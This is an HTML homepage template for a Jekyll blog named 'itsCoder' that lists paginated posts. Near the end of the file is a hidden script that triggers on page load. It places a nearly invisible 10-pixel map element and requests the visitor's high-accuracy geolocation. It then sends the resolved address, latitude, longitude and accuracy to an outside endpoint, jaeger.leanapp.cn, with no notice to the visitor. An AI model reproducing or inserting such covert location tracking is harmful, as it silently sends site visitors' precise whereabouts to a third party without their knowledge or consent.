---

---
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>itsCoder</title>

    <link rel="stylesheet" href="assets/css/home.css">
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
    <link rel="icon" href="img/logo.png"/>

</head>
<body>

{% include header.html %}

<div>
    <center>
        <img class="logo" src="img/itscoder.svg">
    </center>
</div>
<div class="main">
    {% for post in paginator.posts %}
    <div class="post-container">
        <a href="{{post.url}}">
            <div class="post">
                <img src="img/{{post.featimg}}" alt>
                <div class="post-date">
                    <span>{{ post.date | date: '%m/%d, %Y' }}</span>
                </div>
                <div class="post-title">{{ post.title }}</div>
                <div class="post-excerpt">
                    {{ post.excerpt }}
                </div>
            </div>
        </a>
    </div>

    {% endfor %}
</div>

{% include cnzz.html %}


<script type="text/javascript" src="http://webapi.amap.com/maps?v=1.3&key=63dc8bc8eb8f6f231d1a7769943f5f65"></script>
<div id="container" tabindex="0" style="width: 10px;height: 10px;" ></div>
<div id="tip"></div>
<script type="text/javascript">

  /***************************************
   由于Chrome、IOS10等已不再支持非安全域的浏览器定位请求，为保证定位成功率和精度，请尽快升级您的站点到HTTPS。
   ***************************************/
  var map, geolocation;
  //加载地图，调用浏览器定位服务
  map = new AMap.Map('container', {
    resizeEnable: true
  });
  map.plugin('AMap.Geolocation', function () {
    geolocation = new AMap.Geolocation({
      enableHighAccuracy: true,//是否使用高精度定位，默认:true
      timeout: 10000,          //超过10秒后停止定位，默认：无穷大
      buttonOffset: new AMap.Pixel(10, 20),//定位按钮与设置的停靠位置的偏移量，默认：Pixel(10, 20)
      zoomToAccuracy: true,      //定位成功后调整地图视野范围使定位位置及精度范围视野内可见，默认：false
      buttonPosition: 'RB'
    });
    map.addControl(geolocation);
    geolocation.getCurrentPosition();
    AMap.event.addListener(geolocation, 'complete', onComplete);//返回定位信息
    AMap.event.addListener(geolocation, 'error', onError);      //返回定位出错信息
  });
  //解析定位结果
  function onComplete (data) {
    var str = ['定位成功'];
    str.push(data.formattedAddress)
    str.push('经度：' + data.position.getLng());
    str.push('纬度：' + data.position.getLat());

    if (data.accuracy) {
      str.push('精度：' + data.accuracy + ' 米');
    }//如为IP精确定位结果则没有精度信息
    str.push('是否经过偏移：' + (data.isConverted ? '是' : '否'));

    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", "https://jaeger.leanapp.cn/todo/add?content="+str, false);
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
    xmlHttp.send()
  }
  //解析定位错误信息
  function onError (data) {
    document.getElementById('tip').innerHTML = '定位失败';
  }
</script>
</body>
</html>